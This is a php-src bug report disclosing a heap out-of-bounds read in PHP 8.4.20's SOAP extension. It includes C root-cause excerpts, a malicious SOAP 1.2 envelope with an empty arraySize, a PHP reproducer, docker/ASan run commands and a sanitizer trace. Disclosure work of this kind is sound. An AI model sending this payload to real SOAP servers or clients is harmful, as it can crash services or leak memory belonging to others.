[php-src] Issue #22887: ext/soap: heap out-of-bounds read while decoding a SOAP 1.2 array with an empty `arraySize`
[email protected] (Amorsec) Sat, 25 Jul 2026 15:55:55 +0000
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/22887
Author: Amorsec
### Description
### Summary
PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
`enc:arraySize` attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads `pos[0]` for the first array item.
AddressSanitizer reports a four-byte heap out-of-bounds read in
`to_zval_array()`. The malformed value is protocol data in a SOAP request or
reply.
### Details
- **Affected component:** bundled `ext/soap` in PHP 8.4.20
- **Affected entry points:** `SoapServer::handle()` decoding a SOAP 1.2
request, and `SoapClient` decoding a SOAP 1.2 response
- **Affected source:** `https://github.com/php/php-src`, PHP 8.4.20;
`ext/soap/php_encoding.c`
- **Root cause:** `calc_dimension_12()` accepts an empty `arraySize` as zero
dimensions, but `to_zval_array()` subsequently indexes the corresponding
zero-length `pos` allocation.
- **Trigger condition:** a SOAP 1.2 encoded array has
`enc:arraySize=""` and contains at least one XML element.
`calc_dimension_12()` counts runs of decimal digits or `*` characters. An
empty string enters neither loop and returns its initial value of zero:
```c
/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
int i = 0, flag = 0;
while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
str++;
}
if (*str == '*') {
i++;
str++;
}
while (*str != '\0') {
if (*str >= '0' && *str <= '9') {
if (flag == 0) {
i++;
flag = 1;
}
} else if (*str == '*') {
soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
} else {
flag = 0;
}
str++;
}
return i;
}
```
The SOAP 1.2 array path trusts that result. `get_position_12()` and the later
`pos` allocation both receive `dimension == 0`. The loop for intermediate
arrays is skipped, leaving `i == 0`, and the first child is inserted using
`pos[i]`:
```c
/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);
/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);
/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
/* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);
```
The public request path is a normal SOAP server receiving raw request XML:
```php
<?php
function sink($value = null): void {}
$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.
```
An untrusted peer needs only to send the following SOAP body to that endpoint:
```xml
<?xml version="1.0"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:m="urn:x">
<SOAP-ENV:Body>
<m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```
The same native decoder is used when `SoapClient` processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.
### PoC
#### Environment and configuration
- **PHP:** PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
- **PHP source revision:** PHP 8.4.20 source tree. The original build did not
retain a git commit identifier.
- **PHP configure options:**
```sh
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
--enable-soap --enable-mbstring --enable-debug --disable-cgi \
--disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
--with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
--with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
--with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
--enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
--enable-sockets --enable-opcache --with-sodium --with-readline \
--with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
--with-pdo-firebird=/usr --enable-zend-test
```
- **PHP compiler/linker flags:**
```text
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
```
- **Extension:** bundled `ext/soap`, enabled with `--enable-soap`; no separate
PECL module is loaded.
- **Sanitizer runtime:** `USE_ZEND_ALLOC=0`,
`ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1`, and
`UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1`. The recorded invocation
also set `LD_LIBRARY_PATH=/opt/openssl-3.2/lib64`.
#### Reproducer
```php
<?php
function sink($value = null): void
{
}
function envelope(string $parameter): string
{
return '<?xml version="1.0"?>'
. '<SOAP-ENV:Envelope'
. ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
. ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
. ' xmlns:m="urn:x">'
. '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
. '</SOAP-ENV:Envelope>';
}
$server = new SoapServer(null, [
'uri' => 'urn:x',
'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');
$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
```
```sh
docker cp SOAP-NEW-001_server_poc.php \
php-asan-8420:/tmp/soap-array-size-oob.php
docker exec php-asan-8420 env \
LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
USE_ZEND_ALLOC=0 \
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
/src/php/sapi/cli/php /tmp/soap-array-size-oob.php
```
#### Sanitizer report
The retained sanitizer evidence reports the following access for the empty
`arraySize` server trigger:
```text
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
#0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
#1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
#2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650
```
The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.
### PHP Version
```plain
PHP 8.4.20
```
### Operating System
_No response_